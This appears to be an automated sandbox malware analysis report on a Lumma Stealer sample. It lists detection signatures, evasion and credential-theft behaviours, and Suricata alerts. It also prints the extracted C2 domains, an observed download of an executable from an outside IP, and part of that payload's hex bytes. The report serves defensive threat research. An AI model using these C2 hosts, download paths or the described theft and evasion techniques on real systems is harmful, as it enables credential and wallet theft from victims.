Edit tour

Windows Analysis Report
GnHq2ZaBUl.exe

Overview

General Information

Sample name:	GnHq2ZaBUl.exe renamed because original name is a hash value
Original sample name:	570eac129387ce77ceec28b6876407f5.exe
Analysis ID:	1581251
MD5:	570eac129387ce77ceec28b6876407f5
SHA1:	148d538f8b8cb159cb949cedb5eda01c78133d95
SHA256:	75579361b244be86a404677b62135d44d6f1e2fa1619a6f3a9030955fd0fc218
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

GnHq2ZaBUl.exe (PID: 1360 cmdline: "C:\Users\user\Desktop\GnHq2ZaBUl.exe" MD5: 570EAC129387CE77CEEC28B6876407F5)

chrome.exe (PID: 4676 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=GnHq2ZaBUl.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2460 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=2000,i,13436707777172459125,8662691406262095616,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7804 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=GnHq2ZaBUl.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8036 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1980,i,3051429625471405464,5481081357581639420,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["inherineau.buzz", "hummskitnj.buzz", "screwamusresz.buzz", "scentniej.buzz", "rebuildeso.buzz", "prisonyfork.buzz", "mindhandru.buzz", "cashfuzysao.buzz", "appliacnesot.buzz"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2183109610.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: GnHq2ZaBUl.exe PID: 1360	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: GnHq2ZaBUl.exe PID: 1360	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: GnHq2ZaBUl.exe PID: 1360	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: GnHq2ZaBUl.exe PID: 1360	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:07:33.312785+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T09:07:35.458511+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T09:07:37.910607+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	104.21.11.101	443	TCP
2024-12-27T09:07:40.256757+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	104.21.11.101	443	TCP
2024-12-27T09:07:42.750349+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	104.21.11.101	443	TCP
2024-12-27T09:07:45.725804+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	104.21.11.101	443	TCP
2024-12-27T09:07:48.277574+0100	2028371	3	Unknown Traffic	192.168.2.5	49710	104.21.11.101	443	TCP
2024-12-27T09:07:53.284772+0100	2028371	3	Unknown Traffic	192.168.2.5	49721	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:07:34.078635+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T09:07:36.270363+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T09:07:54.056919+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49721	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:07:34.078635+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:07:36.270363+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	104.21.11.101	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:07:55.558600+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49728	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:07:38.878868+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49706	104.21.11.101	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:07:48.282249+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49710	104.21.11.101	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: GnHq2ZaBUl.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://mindhandru.buzz/api3	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/op	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/piy8	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apix	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/t7	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/s18	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/pi4	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apiT	Avira URL Cloud: Label: malware

Found malware configuration

Source: GnHq2ZaBUl.exe.1360.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["inherineau.buzz", "hummskitnj.buzz", "screwamusresz.buzz", "scentniej.buzz", "rebuildeso.buzz", "prisonyfork.buzz", "mindhandru.buzz", "cashfuzysao.buzz", "appliacnesot.buzz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: GnHq2ZaBUl.exe	Virustotal: Detection: 52%			Perma Link
Source: GnHq2ZaBUl.exe	ReversingLabs: Detection: 63%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: GnHq2ZaBUl.exe

Joe Sandbox ML: detected

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=GnHq2ZaBUl.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=GnHq2ZaBUl.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=GnHq2ZaBUl.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=GnHq2ZaBUl.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=GnHq2ZaBUl.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: GnHq2ZaBUl.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49820 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49721 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: GnHq2ZaBUl.exe, 00000000.00000002.2467229687.0000000005B02000.00000040.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Publishers	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\SolidDocuments	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49706 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49710 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49721 -> 104.21.11.101:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 08:07:54 GMTContent-Type: application/octet-streamContent-Length: 2784256Last-Modified: Fri, 27 Dec 2024 07:39:36 GMTConnection: keep-aliveETag: "676e59b8-2a7c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 bf 73 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 69 63 73 72 68 71 6f 00 00 2a 00 00 a0 00 00 00 ec 29 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 74 78 6a 72 66 65 63 00 20 00 00 00 a0 2a 00 00 06 00 00 00 54 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 5a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49710 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49728 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49721 -> 104.21.11.101:443

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49820 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_123.5.dr, chromecache_104.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

